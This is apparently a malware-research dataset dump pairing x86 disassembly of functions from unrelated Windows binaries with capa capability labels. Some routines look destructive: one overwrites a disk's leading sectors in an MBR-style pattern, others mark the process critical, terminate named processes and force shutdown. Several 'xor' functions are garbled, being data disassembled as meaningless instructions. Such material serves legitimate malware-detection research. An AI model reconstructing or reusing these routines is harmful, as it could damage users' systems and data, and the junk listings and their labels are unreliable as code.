joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404074
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4042a4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4040f7
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4042a4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4040f7
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4042c0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404180
xor eax, eax
push ebp
push 0x404179
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00403ebc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40415e
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4042e0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40415e
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404180
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x40429a
cmp byte [ebp - 0xd], 0
jne 0x4041c7
cmp byte [ebp - 0x12], 0
je 0x40429a
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x4041e0
dec ebx
cmp byte [ebx], 0x2e
je 0x4041ef
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x4041df
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x40429a
inc ebx
cmp byte [ebp - 0x12], 0
je 0x40422c
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40429a
cmp byte [ebp - 0xd], 0
je 0x40429a
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40429a
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404430
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x404496
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004039a8
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402894
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x404480
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40449d
lea eax, [ebp - 0x10]
call fcn.00403760
ret

Function at 0x406334
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40636d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403850
jmp 0x406376
mov eax, ebx
mov edx, esi
call fcn.004037b4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x406380
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x4063a1
mov al, byte [esp]
jmp 0x4063a3
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x406a28
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x4068a0
mov eax, dword [0x40a1b0]
cmp byte [eax], 0
je 0x406aa4
mov eax, dword [0x40a108]
call fcn.00402810
call fcn.004025ec
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00405828
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x406aec
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x406ada
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x40a0e8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x40b660]
call fcn.00403e80
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x407498
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x4074fc
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004039a8
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.004056fc
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407503
lea eax, [ebp - 0xc]
call fcn.00403760
ret

Function at 0x4084e8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403b50
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x408656
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
xor edx, edx
mov eax, 2
call fcn.004082c0
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.004082e0
jmp 0x408622
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004039a8
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.0040577c
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.0040556c
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.0040556c
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00403aac
je 0x408602
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004039a8
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.0040556c
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.0040556c
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00403aac
jne 0x408619
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.00408300
test eax, eax
jne 0x408563
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40865d
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00403784
lea eax, [ebp - 4]
call fcn.00403760
ret
Function at 0x408668
Capabilities:
Shutdown system

Disassembly:
push ebx
add esp, 0xffffffd8
mov ebx, eax
mov eax, dword [0x40a200]
cmp dword [eax], 2
jne 0x4086e2
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x4086e2
lea eax, [esp + 0xc]
push eax
push 0x4086f8
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp eax, 1
sbb eax, eax
inc eax
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
mov edx, 0x10
xor ecx, ecx
mov dword [esp + 4], ecx
test al, al
je 0x4086e2
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x1c]
push eax
push edx
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
push 0
push ebx
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x28
pop ebx
ret

Function at 0x408714
Capabilities:
Get token membership

Disassembly:
add esp, 0xfffffff8
lea eax, [esp + 4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
push 0x409294
call sub.advapi32.dll_AllocateAndInitializeSid
cmp eax, 1
sbb eax, eax
inc eax
mov byte [esp], al
cmp byte [esp], 0
je 0x408769
push esp
mov eax, dword [esp + 8]
push eax
push 0
call sub.advapi32.dll_CheckTokenMembership
test al, al
jne 0x40875f
mov byte [esp], 0
mov eax, dword [esp + 4]
push eax
call sub.advapi32.dll_FreeSid
mov al, byte [esp]
pop ecx
pop edx
ret

Function at 0x408770
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403b50
mov eax, dword [ebp - 8]
call fcn.00403b50
xor eax, eax
push ebp
push 0x408809
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x44]
mov edx, 0x3c
call fcn.00404854
mov dword [ebp - 0x44], 0x3c
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], 0x500
mov eax, 0x408818
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 4]
call fcn.00403b60
mov dword [ebp - 0x34], eax
cmp dword [ebp - 8], 0
jne 0x4087df
mov eax, dword [ebp - 8]
call fcn.00403b60
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x44]
push eax
call sub.shell32.dll_ShellExecuteExA
cmp eax, 1
sbb ebx, ebx
inc ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408810
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403784
ret

Function at 0x408820
Capabilities:
Acquire debug privileges

Disassembly:
mov dl, 1
mov eax, 0x408860
call fcn.004083f8
push 0
push 0
push 1
call sub.ntdll.dll_RtlSetProcessIsCritical
mov eax, 0x40887c
call fcn.004084e8
mov eax, 0x408890
call fcn.004084e8
mov eax, 0x4088a4
call fcn.004084e8
ret
Function at 0x408934
Capabilities:
Find taskbar
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
mov eax, 0x4088dc
call fcn.00404690
xor eax, eax
push ebp
push 0x408be1
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 0x409e9c
mov edi, 0x40b7fc
mov ecx, 0x80
rep movsd dword es:[edi], dword [esi]
mov eax, 0x408bf8
call fcn.004056c0
mov byte [0x40b83e], al
mov eax, 0x408c04
call fcn.004056c0
mov byte [0x40b86b], al
mov eax, 0x408c10
call fcn.004056c0
mov byte [0x40c5fb], al
call fcn.00408714
test al, al
jne 0x4089c8
push 0
push 0x1a3
push 0x111
push 0
push 0x408c14
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_PostMessageA
call fcn.00408714
test al, al
jne 0x4089eb
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402768
mov edx, dword [ebp - 0x14]
xor ecx, ecx
xor eax, eax
call fcn.00408770
test al, al
je 0x4089d1
call fcn.00408714
test al, al
je 0x408bc6
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x408c24
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0
push 0x40b7f4
push 0x200
push 0x40c5fc
push ebx
call sub.kernel32.dll_ReadFile
lea ecx, [ebp - 0x18]
mov eax, 0x40c5fc
mov edx, 0x1ff
call fcn.00408358
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0x1c]
mov eax, 0x40b7fc
mov edx, 0x1ff
call fcn.00408358
mov edx, dword [ebp - 0x1c]
pop eax
call fcn.00403aac
je 0x408bc6
push ebx
call sub.kernel32.dll_CloseHandle
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x408c24
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0
push 0x40b7f4
push 0x200
push 0x40c5fc
push ebx
call sub.kernel32.dll_ReadFile
push 0
push 0
push 0x200
push ebx
call main
push 0
push 0x40b7f8
mov eax, dword [0x40b7f4]
push eax
push 0x40c5fc
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x408c24
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0
push 0x40b7f8
push 0x200
push 0x40b7fc
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x408c24
call sub.kernel32.dll_CreateFileA
mov ebx, eax
mov esi, 0x40929c
mov edi, 0x40b9fc
mov ecx, 0x300
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0x400
push ebx
call main
push 0
push 0x40b7f8
push 0xc00
push 0x40b9fc
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, 0x40b7e8
mov edx, 0x408c40
call fcn.004037b4
mov eax, 0x40b7ec
mov edx, 0x408c40
call fcn.004037b4
mov eax, 0x40b7f0
mov edx, 0x408c40
call fcn.004037b4
mov eax, dword [0x40b7e8]
mov edx, 0x408c4c
call fcn.00403aac
jne 0x408b9c
lea eax, [ebp - 0x20]
call fcn.00408820
mov eax, dword [0x40b7ec]
mov edx, 0x408c58
call fcn.00403aac
jne 0x408bb7
mov eax, 6
call fcn.00408668
mov eax, dword [0x40b7f0]
mov edx, 0x408c64
call fcn.00403aac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408be8
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.00403784
ret
Function at 0x425029
Capabilities:
Encode data using xor

Disassembly:
sti
nop
mov esp, 0xb493f51
mov bh, 0x36
and al, 0xcf
cmp eax, 0x85c74ac1
inc ecx
or al, 0x31
xchg ebx, eax
pushfd
cmpsb byte [esi], byte es:[edi]
lahf
sub al, 0xd1
push edx
sbb al, 0xf7
adc dword [edx], esi
ret
iretd
dec edx
mov dword [ebp - 0x6ccef3bf], 0x2c9fa69c
rcl dword [edx + 0x1c]
not dword [ecx]
xor al, bl
outsd dx, dword [esi]
pop edi
sub al, 0x2d
sti
and esi, ebp
fdiv dword [edx + 0x67f82402]
jno 0x424fc0
test eax, 0xb0c14e2d
jl 0x42505d
dec ebp
shl byte [ecx], cl
lcall 0xcdd, 0xc2864b58
rol ebx, 1
mov dword [0x9d3811f9], eax
test al, 0x5b
cmpsb byte [esi], byte es:[edi]
in al, dx
mov dh, 0x52
pop eax
lodsb al, byte [esi]
sti
or eax, 0x24138dc6
pop ss
cmp ah, byte [esi - 0x7258cc44]
cli
in eax, 0x94
sub dword [edx - 0x7b25c883], ebx
test byte [eax], ah
pop eax
mov ecx, 0x3f897cd1
test byte [eax], ah
pop eax
mov ecx, 0x3f897cd1
and bh, byte [ecx]
ja 0x424fb6
xor eax, dword [ebx + eax*8 - 0x1378c19c]
inc eax
jno 0x42507d
jns 0x424fc3
invalid
adc al, 0xf2
sar bh, 1
invalid
lodsd eax, dword [esi]
push esi
push ebx
sub ch, byte [esi - 0x6b]
ret

Function at 0x465cb6
Capabilities:
Encode data using xor

Disassembly:
test al, 0x55
aam 0x78
inc esp
adc eax, 0x7952d03c
add eax, 0xe0156cda
insb byte es:[edi], dx
shr dword [edx*2 - 0x456a7ab7], 0x6b
xchg ebx, eax
and edi, eax
push es
inc esp
adc eax, 0x19d0334b
adc eax, 0xd0cb393d
xchg ebx, eax
push ebx
jle 0x465d21
stosd dword es:[edi], eax
mov dl, byte [edx + eax*8 - 0x13c30791]
xchg edi, eax
dec edi
pushfd
mov cx, 0x7a6c
in al, dx
aam 0xe2
pop eax
sub edx, ecx
adc ebp, ecx
or al, byte [eax]
pop es
xlatb
push ecx
mov edi, 0xbc20bce9
enter 0x1954, 0xffffffffffffffea
call [ebp + esi*2 - 6]
pop esi
fisttp word [edx + 0x50]
fidiv dword [eax]
mov edx, 0x7c0e1646
sub dword [ebx + 0x13d2479e], esi
or ebp, dword [ebx]
nop
inc edi
add eax, 0x433c04da
fcos
and byte fs:[esi], bl
sub byte [edx - 0x64], cl

Function at 0x480bb9
Capabilities:
Encode data using xor

Disassembly:
aaa
adc al, 0xec
cmc
push esi
mov ebx, 0xc88cda31
lodsb al, byte [esi]
push ecx
push cs
nop
jecxz 0x480ae4
lodsb al, byte [esi]
mov edi, 0x671419fa
les eax, [eax]
into
loopne 0x480af4
invalid
dec edi
retf
sbb esi, dword [ebp - 0x73b542b4]
jecxz 0x480b4e
enter 0xffffffffffffaa92, 0
push ebx
sub ebp, dword [ecx]
mov dh, 0xc1
sar dword [ecx + esi - 0x1164d3be], 0xc8
jle 0x480c0f
inc esp
jo 0x480c00
arpl word [ebx - 0x29], di
sar byte [eax], 1
dec esi
mov ch, 0xb4
test dword [edi], eax
in eax, 0xf2
frstor dword [edi - 0x5dd8603]
mov word [edx - 0x7e2d0c64], cs
lodsd eax, dword [esi]
loop 0x480b7f
bound esi, qword [ebx - 0x45]
xchg esi, eax
imul ebx, dword [esi + 0x4e5d8d6f], 3
and al, 0xa4
xchg dword [edi - 0x58707923], esi
sub dword [ecx], ebx
and ch, al
inc esp
rol byte [ecx + 0x41248d7b], 1
mov edi, 0xd63f574a
jge 0x480c1b
or dword [edi], edi
invalid
ret
Function at 0x617a94
Capabilities:
Terminate process

Disassembly:
push edi
add byte [eax], al
add dword [eax], eax
add byte [ecx + 0x59], bl
push ss
add esp, edi
mov esi, eax
push esi
call fcn.00627a05
movzx ecx, word [ebx]
push ecx
push edi
cmp al, 1
call fcn.006178e2
mov ecx, dword [ebp]
add ah, al
adc byte [esi - 0x18], dl
sbb eax, 0x33ff01d1
rcr byte [edi + 0x40], 0x5e
pop ebx
add byte [eax], al
pop ebp
ret 8

Function at 0x628595
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x62f3d0
cmp edx, dword [eax]
je 0x6285b7
add eax, 8
inc ecx
cmp eax, 0x62f460
jl 0x6285a8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x62f3d0]
jne 0x6286e5
mov eax, dword [0x637d78]
cmp eax, 1
je 0x6286bf
test eax, eax
jne 0x6285e8
cmp dword [0x62f2f8], 1
je 0x6286bf
cmp edx, 0xfc
je 0x6286e5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x62861f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00628f80
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00629410
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x628662
lea eax, [ebp - 0x1a4]
push eax
call fcn.00629410
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x62d6e4
push edi
call fcn.0062b2e0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00628f80
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00628f90
lea eax, [ebp - 0xa0]
push 0x62d6c4
push eax
call fcn.00628f90
push dword [esi + 0x62f3d4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00628f90
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0062b254
add esp, 0x2c
pop edi
jmp 0x6286e5
lea eax, [ebp + 8]
lea esi, [esi + 0x62f3d4]
push 0
push eax
push dword [esi]
call fcn.00629410
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x10003510
Capabilities:
Read .ini file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x1000359d
mov ebx, dword [ebp + 0xc]
mov eax, dword [esi]
test eax, eax
je 0x1000352e
mov eax, dword [eax]
jmp 0x10003530
xor eax, eax
push eax
push dword [esi + 8]
push ecx
push 0x10001290
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov ecx, eax
test ecx, ecx
jne 0x10003552
mov eax, dword [esi + 4]
xor edx, edx
mov word [eax], dx
mov edx, dword [esi + 8]
mov edi, dword [esi + 4]
lea eax, [edx - 1]
cmp ecx, eax
jb 0x10003594
lea eax, [edx + edx]
push edi
mov dword [esi + 8], eax
call dword [sym.imp.MSDART.DLL_mpFree]
mov eax, dword [esi + 8]
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.MSDART.DLL_mpMalloc]
mov ecx, eax
add esp, 8
mov dword [esi + 4], ecx
test ecx, ecx
je 0x1000359d
jmp 0x10003524
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov ecx, 0x8007000e
call fcn.10002b70
int3

Function at 0x10004950
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x1000498e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x10004986
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x10004990
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x10004976
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10004a60
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x10004a76
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x10004a91
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
Function at 0x408110
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [0x41000c]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov bl, 1
cmp dword [ecx + 0x38], 0
je 0x4081b3
mov esi, ecx
cmp byte [ecx + 0x3d], 0
je 0x4081b3
mov eax, dword [esi]
mov edi, dword [eax + 0xc]
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
push 0xffffffffffffffff
call edi
cmp eax, 0xffffffff
je 0x4081b1
mov edi, dword [esi + 0x38]
lea eax, [esi + 0x40]
mov dword [ebp - 0x38], eax
mov eax, dword [edi]
mov ebx, dword [eax + 0x20]
mov ecx, ebx
call dword [section..00cfg]
lea eax, [ebp - 0x34]
lea edx, [ebp - 0x30]
mov ecx, edi
push eax
lea eax, [ebp - 0x10]
push eax
push edx
push dword [ebp - 0x38]
call ebx
cmp eax, 3
je 0x4081c7
cmp eax, 1
je 0x40818a
test eax, eax
jne 0x4081b1
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x30]
sub edi, eax
je 0x4081a8
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x4081b1
cmp byte [esi + 0x3d], 0
sete bl
jmp 0x4081b3
xor ebx, ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00407700
mov eax, ebx
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov bl, 1
jmp 0x4081b3